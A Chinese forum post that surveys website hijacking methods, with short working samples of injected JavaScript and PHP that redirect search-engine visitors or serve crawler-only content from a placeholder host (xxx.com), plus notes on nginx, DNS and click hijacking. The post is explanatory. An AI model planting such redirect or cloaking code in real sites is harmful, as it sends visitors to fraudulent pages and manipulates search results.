关于网站劫持的几种方式

本贴最后更新于 1163 天前,其中的信息可能已经东海扬尘

重温素晴,我笑成了一个煞笔 😂(也许本来就本来吧)

参考文章:1、常见网站劫持案例及解析 2、WEB 流量劫持

综合两篇文章,劫持的案例属实不少,简单记几个我在本地实现了的吧:

1、前端搜索引擎劫持

前端搜索引擎劫持指攻击者在前端 js 中插入恶意 js 脚本以达到搜索引擎劫持的目的。

恶意 js 例:


<script>

var referrer=document.referrer; if(referrer.indexOf("baidu")>0||referrer.indexOf("google")>0||referrer.indexOf("yahoo")>0||referrer.indexOf("sogou")>0||referrer.indexOf("youdao")>0||referrer.indexOf("bing")>0)

{self.location='http://www.xxxx.com';}

</script>

正常访问这个网页时,不会发生跳转,但是如果来源 URL(请求头中的 referer)中存在 baidu、google、yahoo、sogou、youdao、bing 等搜索引擎特征的字段,则跳转到 http://www.xxxx.com。

例:直接从 url 搜索栏访问页面地址,恶意 js 不会被触发

1.PNG

但是如果在百度里点击,劫包能发现 referer 有百度字样,触发 js。

2.PNG

跳走了。你看我完全是不懂哦~

3.PNG

2、后端搜索引擎劫持

后端搜索引擎劫持,和前端搜索引擎劫持也一样,也是攻击者在后端代码中插入恶意后端代码以实现搜索引擎劫持的目的。代码样例,根据 referer 中关键字实现:

<?php

    if(stristr($_SERVER['HTTP_REFERER'],"baidu") or stristr($_SERVER['HTTP_REFERER'],"google") or stristr($_SERVER['HTTP_REFERER'],"yahoo") or stristr($_SERVER['HTTP_REFERER'],"sogou"))

     {

    Header("Location:http://www.xxx.com/");

    }

?>

看个例子:直接访问 back.php 啥也没有,因为啥也没写嘛

4.PNG

之后就和前端劫持一样了,从百度走,会跳页面,这次跳一个我上周写(cover)的一个页面

5.PNG

6.PNG

3、快照劫持

文章里的原理描述:"快照劫持指攻击者入侵了某个权重较高的网站后,在 web 应用文件中插入恶意代码。恶意代码会判断访问该网站的是不是百度、google 等搜索引擎的蜘蛛爬虫,如果是,则输出私服或博彩等暴利行业的网站的内容给搜索引擎爬虫以达到搜索引擎劫持的目的。"

其实通俗的讲就是,我点击百度快照,发现网页跳转到了我非预期要访问的网站去了。代码例:

<?php

        error_reporting(0);

        if(stristr ($_SERVER['HTTP_USER_AGENT'],"baidu") or stristr ($_SERVER['HTTP_USER_AGENT'],"google"))

        {

        $cont = file_get_contents('http://www.xxx.com');

        echo $cont;

        }

        else{

        echo “hello world”;

        }

?>

其实和前、后端劫持不同的地方是在请求头的 User-Agent 字段中存在搜索引擎爬虫的特征去了,而不是在 referer 中搜关键字。来个例子:

很明显访问下面 php 界面 user-agent 是没有爬虫相关特征的,所以页面访问正常:

7.PNG

然后我来手动添加一个百度爬虫特征

(compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)

8.PNG

9.PNG

跳走了。

4、nginx 反向代理劫持

一言以概之就是去人家服务器上改配置呗(上面不也是去人家服务器改代码嘛),好,那我去另找个服务器改一下

10.PNG

11.PNG

跳走了。

5、DNS 劫持

就更直接了,通过攻击域名解析服务器(DNS),或者直接伪造域名解析服务器(DNS),把目标网站域名解析到错误的 IP 地址从而实现用户无法访问目标网站的目的或者蓄意或恶意要求用户访问指定 IP 地址(网站)的目的。

条件有限就不试了,贴个 B 站文章的一个劫持流程图,有兴趣可以去跟着这篇文章试试:DNS 劫持(看完你也能做到)

12.PNG

13.PNG

原理啥的网络的师傅们都懂吧,我看我完全是不懂哦~

6、IIS 恶意模块劫持

我就更不懂了哦~

彩蛋:点击劫持

就这种有两个关闭按钮,有一个是误导人进错的算是劫持吗,给爷爬!

14.PNG

相关帖子

欢迎来到这里!

我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。

注册 关于
请输入回帖内容 ...